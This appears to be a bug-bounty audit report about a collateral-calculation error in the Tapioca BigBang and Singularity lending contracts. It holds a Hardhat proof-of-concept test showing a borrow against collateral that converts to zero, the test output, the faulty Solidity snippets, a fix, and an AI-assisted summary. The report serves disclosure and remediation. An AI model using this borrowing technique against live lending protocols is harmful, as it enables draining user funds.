SGLLiquidation::_computeAssetAmountToSolvency , Market::_isSolvent and Market::_computeMaxBorrowableAmount may overestimate the collateral, resulting in false solvency
The smart contracts overestimate collateral value by multiplying the collateral share by precision and collateralization rate before converting to assets, leading to false solvency. An attacker could borrow assets with insufficient collateral, and liquidations would be underestimated.
Submitted by zzzitron
An user can borrow via BigBang::borrow when there is no collateral amount from the user’s share. The BigBang will falsely consider the position as solvent, when it is not, resulting in a loss.
A similar issue presents in the Singularity as SGLLiquidation::_computeAssetAmountToSolvency will overestimate the collateral, therefore liquidate less than it should.
Proof of Concept
The following proof of concept demonstrates that au user could borrow some assets, even though the collateral share will not give any amount of collateral.
Put the full PoC in the following gist into test/bigBang.test.ts in tapiocabar-audit.
https://gist.github.com/zzzitron/14482ea3ab35b08421e7751bac0c2e3f
it('considers me solvent even when I have enough share for any amount PoCBorrow', async () => {
///////
// setup is omitted
// full poc is https://gist.github.com/zzzitron/14482ea3ab35b08421e7751bac0c2e3f
///////
const wethCollateralShare = ethers.BigNumber.from((1e8).toString()).sub(1);
await wethBigBangMarket.addCollateral(
deployer.address,
deployer.address,
false,
0,
wethCollateralShare,
// valShare,
);
// log
let userCollateralShare = await wethBigBangMarket.userCollateralShare(deployer.address);
console.log("userCollateralShare: ", userCollateralShare.toString());
let userCollateralShareToAmount = await yieldBox.toAmount(wethAssetId, userCollateralShare, false);
console.log("userCollateralShareToAmount: ", userCollateralShareToAmount.toString());
let collateralPartInAsset = (await yieldBox.toAmount(wethAssetId, userCollateralShare.mul(1e13).mul(75000), false))
console.log("collateralPart in asset times exchangerRate", collateralPartInAsset.toString())
const exchangeRate = await wethBigBangMarket.exchangeRate();
console.log("exchangeRate:",exchangeRate.toString());
console.log("can borrow this much:",collateralPartInAsset.div(exchangeRate).toString());
//borrow even though the collateral share is not enough for any amount of collateral
const usdoBorrowVal = collateralPartInAsset.div(exchangeRate).sub(1)
await wethBigBangMarket.borrow(
deployer.address,
deployer.address,
usdoBorrowVal,
);
let userBorrowPart = await wethBigBangMarket.userBorrowPart(
deployer.address,
);
expect(userBorrowPart.gt(0)).to.be.true;
console.log(userBorrowPart.toString())
});
The result of the test is:
BigBang test
poc
userCollateralShare: 99999999
userCollateralShareToAmount: 0
collateralPart in asset times exchangerRate 749999992500000000
exchangeRate: 1000000000000000
can borrow this much: 749
748
✔ considers me solvent even when I have enough share for any amount PoCBorrow (12405ms)
In the scenario above, The deployer is adding share of collateral to the bigbang using BigBang::addCollateral. The added amount in the below example is (1e8 - 1), which is too small to get any collateral from the YieldBox, as the yieldBox.toAmount is zero.
However, due to the calculation error in the Market::_isSolvent, the deployer could borrow 748 of asset. Upon withdrawing the yieldBox will give zero amount of collateral, but the BigBang let the user borrow non zero amount of asset.
Similarly one can show that Singularity will liquidate less than it should, due to similar calculation error.
details of the bug
The problem stems from the calculation error, where multiplies the user’s collateral share with EXCHANGE_RATE_PRECISION and collateralizationRate before calling yieldBox.toAmount. It will give inflated amount, resulting in false solvency.
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
The same calculation happens in the Market::_computeMaxBorrowableAmount
In the BigBang’s liquidating logic (e.i. in the BigBang::_updateBorrowAndCollateralShare), the conversion from the share of collateral to the asset is calculated correctly:
uint256 collateralPartInAsset = (yieldBox.toAmount(
collateralId,
userCollateralShare[user],
false
) * EXCHANGE_RATE_PRECISION) / _exchangeRate;
However, the position in question will not get to this logic, even if BigBang::liquidate is called on the position, since the _isSolvent will falsely consider the position as solvent.
Similarly the Singularity will overestimate the collateral in the same manner.
function _computeAssetAmountToSolvency(
address user,
uint256 _exchangeRate
) private view returns (uint256) {
// accrue must have already been called!
uint256 borrowPart = userBorrowPart[user];
if (borrowPart == 0) return 0;
uint256 collateralShare = userCollateralShare[user];
Rebase memory _totalBorrow = totalBorrow;
uint256 collateralAmountInAsset = yieldBox.toAmount(
collateralId,
(collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
lqCollateralizationRate),
false
) / _exchangeRate;
// Obviously it's not `borrowPart` anymore but `borrowAmount`
borrowPart = (borrowPart * _totalBorrow.elastic) / _totalBorrow.base;
Recommended Mitigation Steps
The Market::_isSolvent and Market::_computeMaxBorrowableAmount should evaluate the value of collateral like BigBang::_updateBorrowAndCollateralShare function, (e.i. calculate the exchangeRate and collateralizationRate after converting the share to asset).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the code multiplies the collateral share by precision and collateralization rate before converting to asset amount, which inflates the result due to rounding and incorrect order of operations.
Impact
An attacker could borrow assets without sufficient collateral, and in Singularity, liquidations would be underestimated, potentially causing losses.
What the attacker needed
A small collateral share; access to borrow function
The fix
The functions should convert the share to asset first, then apply the exchange rate and collateralization rate, as done in BigBang::_updateBorrowAndCollateralShare.
How it was found
- Add a very small collateral share (1e8 - 1) to the BigBang market.
- Observe that yieldBox.toAmount returns zero for that share.
- Call borrow with an amount calculated from the inflated collateral value.
- The borrow succeeds and userBorrowPart is greater than zero.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a lending system, a user's collateral is stored as 'shares' that can be converted to an actual asset amount. The code did the conversion in the wrong order, making the collateral look larger than it really was. This let someone borrow money even though their collateral was effectively zero.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.